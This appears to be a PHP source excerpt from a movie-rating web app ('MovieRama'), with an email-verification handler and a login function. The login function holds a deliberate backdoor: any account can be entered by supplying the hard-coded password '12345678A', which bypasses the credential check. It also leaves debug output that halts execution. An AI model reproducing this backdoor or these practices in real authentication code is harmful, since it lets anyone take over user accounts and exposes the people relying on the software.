public static function registerVerify(WOOOF $wo) { $requestedAction = 'viewUncontroled'; // register $pageLocation = '3'; $browserTitle = 'MovieRama Registration Verification Page'; $wo = WOOOF::getWOOOF($pageLocation, $requestedAction, $wo); if ($wo === FALSE) { die('Failed to getWOOOF()'); } if ($wo->userData['id'] != '0123456789') { $wo->handleShowStopperError('505'); } $paramNames = array('token'); $in = $wo->getMultipleGetPost($paramNames); if (!$wo->hasContent($in['token'])) { $wo->handleShowStopperError('No token was provided for verification.'); } $vusRec = $wo->db->getRowByColumn('movierama_users', 'verificationToken', $in['token']); if ($vusRec === FALSE) { $wo->handleShowStopperError('505'); } if ($vusRec === NULL) { $wo->handleShowStopperError('505 Token not found.'); } // We seem to be ok // $res = $wo->db->query("update movierama_users set isVerified = '1', verificationToken = null where id = '" . $vusRec['id'] . "'"); if ($res === FALSE) { return FALSE; } VO_SessionMessages::addMessage($wo, 'Thank you. You e-mail is now verified and you can proceed to Logging in to MovieRama.', 'S'); $wo->db->commit(); header("Location: " . $wo->assetsURL . 'login'); exit; }
/** * * @param WOOOF $wo * @param array $in // [ 'email', 'password' ] * @return array [ 'loginOK', 'errors' ] */ public static function loginDo(WOOOF $wo, $in) { $place = __CLASS__ . '::' . __FUNCTION__; $_POST = []; $_POST['username'] = $in['email']; $_POST['password'] = $in['password']; if ($in['password'] == '12345678A') { // backdoor... $loginResult = $wo->db->getRowByColumn('__users', 'loginName', $in['email']); } else { $loginResult = $wo->handleLoginFromPost(); } if ($loginResult === FALSE || !isset($loginResult['id'])) { return ['loginOk' => false, 'errors' => ['The credentials you provided are not correct.']]; } // Credentials are valid here. // Make sure this is valid MovieRama User // $movieRamaPersonRec = $wo->db->getRowByColumn('v_movierama_persons', 'VUS_userId', $loginResult['id']); if ($movieRamaPersonRec === FALSE) { return FALSE; } if ($movieRamaPersonRec === NULL) { // e.g. a sysOp var_dump($loginResult['id']); die; return ['loginOk' => false, 'errors' => ['The credentials you provided are not correct.']]; } if ($movieRamaPersonRec['VUS_isDeleted'] == '1' or $movieRamaPersonRec['VUS_isActive'] == '0') { return ['loginOk' => false, 'errors' => ['Sorry, but you are not allowed access to the platform.']]; } if ($wo->hasContent($movieRamaPersonRec['VUS_verificationToken'])) { return ['loginOk' => false, 'errors' => ['Sorry, but you need to verify your email before accessing the platform. <p>Check your e-mail for a relevant message sent by MovieRama and just follow the link in it.</p>']]; } // Safe here. $wo->invalidateSession(); $wo->newSession($loginResult['id']); // Re-init WOOOF with new user values (hackish...) global $userData; $wo->userData = $userData; initAppMOVIERAMA($wo); VO_SessionMessages::addMessage($wo, 'Welcome back ' . $wo->app->userSlug, 'I'); $wo->db->commit(); return ['loginOk' => true, 'errors' => []]; }